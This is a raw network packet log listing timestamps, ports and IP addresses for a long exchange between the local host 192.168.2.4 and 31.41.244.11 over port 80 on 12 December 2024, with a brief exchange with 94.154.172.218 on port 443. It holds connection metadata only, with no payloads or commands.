Dec 12, 2024 14:26:25.745213985 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.746136904 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.746187925 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.746205091 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.746285915 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.747246981 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.747301102 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.747395039 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.747499943 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.748375893 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.748495102 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.748538971 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.749411106 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.749444962 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.749561071 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.750458956 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.750519991 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.750566006 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.751590014 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.751652002 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.751682043 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.752609968 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.752681971 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.752774954 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.752835989 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.753719091 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.753791094 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.753907919 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.754745960 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.754985094 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.755069971 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.755876064 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.755987883 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.756140947 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.757011890 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.757138968 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.757484913 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.757484913 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.758040905 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.758109093 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.758153915 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.758541107 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.759104967 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.759200096 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.759253979 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.759253979 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.900870085 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.900950909 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.901088953 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.901365995 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.901402950 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.901483059 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.902329922 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.902465105 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.902668953 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.902668953 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.903429985 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.903521061 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.903775930 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.903775930 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.904519081 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.904752016 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.905056953 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.905581951 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.905711889 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.906407118 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.906666040 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.906790972 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.906804085 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.907740116 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.907823086 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.907844067 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.908889055 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.908938885 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.908952951 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.909926891 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.909977913 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.910027981 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.911001921 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.911015987 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.911065102 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.911094904 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.911112070 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.912055016 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.912267923 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.912322044 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.913167953 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.913280964 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.913356066 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.914256096 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.914396048 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.914441109 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.915426970 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.915498972 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.915550947 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.916456938 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.916570902 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.916619062 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.917550087 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.917629957 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.917674065 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.918564081 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.918699980 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.918958902 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.919683933 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.919754982 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.919832945 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.920794010 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.920855999 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.921469927 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.921822071 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.921895027 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.921948910 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.922162056 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.922959089 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.923036098 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.923342943 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.924036026 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.924129963 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.924386024 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.925111055 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.925160885 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.925165892 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.925210953 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.926270962 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.926357031 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.926410913 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.927356958 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.927592993 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.927704096 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.928384066 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.928441048 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.928647041 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.929399014 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.929496050 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.930408955 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.930484056 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.930604935 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.930655003 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.931571007 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.931678057 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.931767941 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.932657957 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.932787895 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.933029890 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.933056116 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.933727026 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.933789015 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.933842897 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.934273005 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.934828043 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.934945107 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.935168028 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.935909033 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.936001062 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.936110020 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.936110020 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.936984062 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.937088013 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.937144995 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.938059092 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.938179970 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.938380003 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.939352989 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.939496040 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.939560890 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.940244913 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.940354109 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.940404892 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.941302061 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.941369057 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.941487074 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.942462921 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.942545891 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.942640066 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.943492889 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.943604946 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.943695068 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.944643974 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.944786072 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.944863081 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.945636988 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.945751905 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.945777893 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.946737051 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.946799994 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.946842909 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.947820902 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.947858095 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.947876930 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.948935986 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.949007034 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.949034929 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.949129105 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.949982882 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.950103998 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.951092958 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.951100111 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.951246023 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.951293945 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.952163935 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.952306986 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.952294111 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.952363014 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.953284025 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.953416109 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.953471899 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.953471899 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.954467058 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.954665899 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.954691887 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.955184937 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.955508947 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.955591917 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.955631018 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.955693960 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.956630945 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.956679106 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.956724882 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.956847906 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.957519054 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.957737923 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.054811954 CET	443	49805	94.154.172.218	192.168.2.4
Dec 12, 2024 14:26:26.054913998 CET	49805	443	192.168.2.4	94.154.172.218
Dec 12, 2024 14:26:26.092677116 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.092828035 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.093099117 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.093182087 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.093303919 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.093380928 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.094266891 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.094402075 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.094434023 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.095462084 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.095628023 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.095658064 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.096543074 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.096648932 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.096698046 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.097265005 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.097668886 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.097805023 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.097907066 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.098684072 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.098962069 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.099009037 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.100334883 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.100385904 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.100457907 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.101279974 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.101393938 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.101476908 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.102181911 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.102250099 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.102360010 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.103090048 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.103266954 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.103324890 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.104042053 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.104103088 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.104195118 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.104239941 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.105117083 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.105206013 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.105226040 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.106168985 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.106364012 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.106367111 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.107391119 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.107547998 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.107671976 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.107671976 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.108361959 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.108532906 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.108591080 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.109591961 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.109714985 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.109714031 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.110712051 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.110726118 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.110766888 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.110815048 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.111702919 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.111816883 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.111857891 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.112787962 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.112900972 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.112943888 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.113857985 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.113965034 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.114213943 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.114994049 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.115138054 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.115324020 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.116055012 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.116182089 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.116334915 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.117325068 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.117460966 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.117675066 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.118443012 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.118546009 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.118659019 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.119429111 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.119551897 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.119607925 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.120718956 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.120913982 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.121232986 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.121937037 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.122103930 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.122162104 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.123018980 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.123267889 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.123359919 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.124536037 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.124799967 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.124922991 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.125797033 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.125869036 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.126002073 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.126817942 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.126961946 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.127049923 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.127867937 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.127921104 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.128137112 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.128757954 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.128869057 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.129455090 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.129893064 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.130024910 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.130199909 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.130810976 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.130836964 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.130907059 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.131664038 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.131738901 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.132251024 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.132621050 CET	80	49801	31.41.244.11	192.168.2.4
